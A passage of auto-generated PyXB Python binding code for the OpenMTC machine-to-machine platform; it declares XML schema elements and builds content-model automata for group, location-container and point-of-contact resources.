fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_6, False)]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_7, True)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_7, False)]))
st_7._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_8, True)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_8, False)]))
st_8._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_9, True)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_9, False)]))
st_9._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_10, True)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_10, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_10, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_10, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_10, False)]))
st_10._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_11, True)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_11, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_11, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_11, False)]))
st_11._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_12, True)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_12, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_12, False)]))
st_12._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_13, True)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_13, False)]))
st_13._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_14, True)]))
st_14._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
Group._Automaton = _BuildAutomaton_48()
GroupAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=GroupAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
GroupAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=GroupAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
GroupAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=GroupAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
GroupAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo,
scope=GroupAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58,
4)))
GroupAnnc._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'),
pyxb.binding.datatypes.anyURI, scope=GroupAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
74, 4)))
def _BuildAutomaton_49():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_49
del _BuildAutomaton_49
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd',
13, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd',
14, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd',
15, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd',
16, 12))
counters.add(cc_3)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(
GroupAnnc._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'link')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(GroupAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(GroupAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(GroupAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(GroupAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'announceTo')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
GroupAnnc._Automaton = _BuildAutomaton_49()
Groups._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=Groups,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
Groups._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=Groups,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
Groups._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=Groups,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
Groups._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=Groups,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
Groups._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'groupCollection'),
NamedReferenceCollection, scope=Groups,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 22,
4)))
Groups._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'groupAnncCollection'),
NamedReferenceCollection, scope=Groups,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 23,
4)))
def _BuildAutomaton_50():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_50
del _BuildAutomaton_50
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
16, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
17, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
18, 12))
counters.add(cc_5)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(Groups._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(Groups._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(Groups._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(Groups._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'groupCollection')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
16, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(Groups._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'groupAnncCollection')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
17, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(Groups._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd',
18, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
st_5._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
Groups._Automaton = _BuildAutomaton_50()
LocationContainerAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=LocationContainerAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
LocationContainerAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=LocationContainerAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
LocationContainerAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=LocationContainerAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
LocationContainerAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo,
scope=LocationContainerAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58,
4)))
LocationContainerAnnc._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'),
pyxb.binding.datatypes.anyURI,
scope=LocationContainerAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
74, 4)))
def _BuildAutomaton_51():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_51
del _BuildAutomaton_51
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd',
13, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd',
14, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd',
15, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd',
16, 12))
counters.add(cc_3)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'link')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'announceTo')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
LocationContainerAnnc._Automaton = _BuildAutomaton_51()
M2MPoc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=M2MPoc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
M2MPoc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=M2MPoc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
M2MPoc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=M2MPoc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
M2MPoc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'onlineStatus'), OnlineStatus,
scope=M2MPoc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 126,
4)))
M2MPoc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contactInfo'), ContactInfo,
scope=M2MPoc, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 23,
4)))
def _BuildAutomaton_52():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_52
del _BuildAutomaton_52
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
15, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
16, 12))
counters.add(cc_4)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contactInfo')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'onlineStatus')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
